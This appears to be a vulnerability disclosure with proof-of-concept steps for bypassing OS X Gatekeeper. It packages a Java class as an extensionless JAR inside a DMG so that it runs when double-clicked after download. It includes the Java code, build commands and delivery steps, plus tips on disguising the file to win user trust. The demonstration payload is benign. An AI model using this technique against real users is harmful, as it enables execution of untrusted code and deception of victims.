OS X < 10.10.x - Gatekeeper bypass Vulnerability

                                                The exploitation technique is trivial and requires Java to be installed
on the victim's machine.
 
OS X Gatekeeper prevents execution of downloaded Java Jar (.jar) and
class (.class) files, but this verification can be bypassed.
 
For example:
 
- Create a JAR file containing the code to be executed
 
For example,
 
File AmpliaTest.java:
 
public class AmpliaTest {
    public static void main(String[] args) {
        try { Runtime.getRuntime().exec("/usr/bin/touch /tmp/AMPLIASECURITY");
} catch(Exception e) { }
    }
}
 
(This is just an example, of course, arbitrary code can be executed)
 
$ javac AmpliaTest.java
 
Be sure to compile the code for a version of Java lower than or equal to
the one available on the target (for example, javac -target 1.6 -source
1.6 AmpliaTest.java; and the compiled code will work on Java versions >=
1.6) .
 
$ echo "main-class: AmpliaTest" > Manifest
 
$ jar cmf Manifest UnsignedCode.jar AmpliaTest.class
 
- Create a .DMG disk image
 
For example:
 
$ hdiutil create -size 5m -fs HFS+ -volname AmpliaSecurity AmpliaTest.dmg
 
- Mount AmpliaTest.dmg
 
- Rename UnsignedCode.jar to UnsignedCode (just remove the extension)
 
- Copy UnsignedCode to the AmpliaSecurity volume
 
- Unmount AmpliaTest.dmg
 
- Host the file AmpliaTest.dmg on a web server
 
- Download AmpliaTest.dmg using Safari and open it
 
- Double-Click on 'UnsignedCode' and the code will be executed bypassing
OS X Gatekeeper checks (the code creates the file /tmp/AMPLIASECURITY).
 
(Perform the same steps but without removing the .jar extension to
UnsignedCode.jar and OS X Gatekeeper will prevent execution of the Jar file)
 
Because the file 'UnsignedCode' has no extension, Finder will display a
blank page icon; the Java/JAR icon will not be displayed. The user does
not know he is double-clicking on a JAR file and the file does not look
particularly suspicious. Also, since the unsigned code is distributed
inside a disk image (.DMG) file, there are many things the attacker can
do to gain the trust of the user (include other files, use Finder
background images, etc).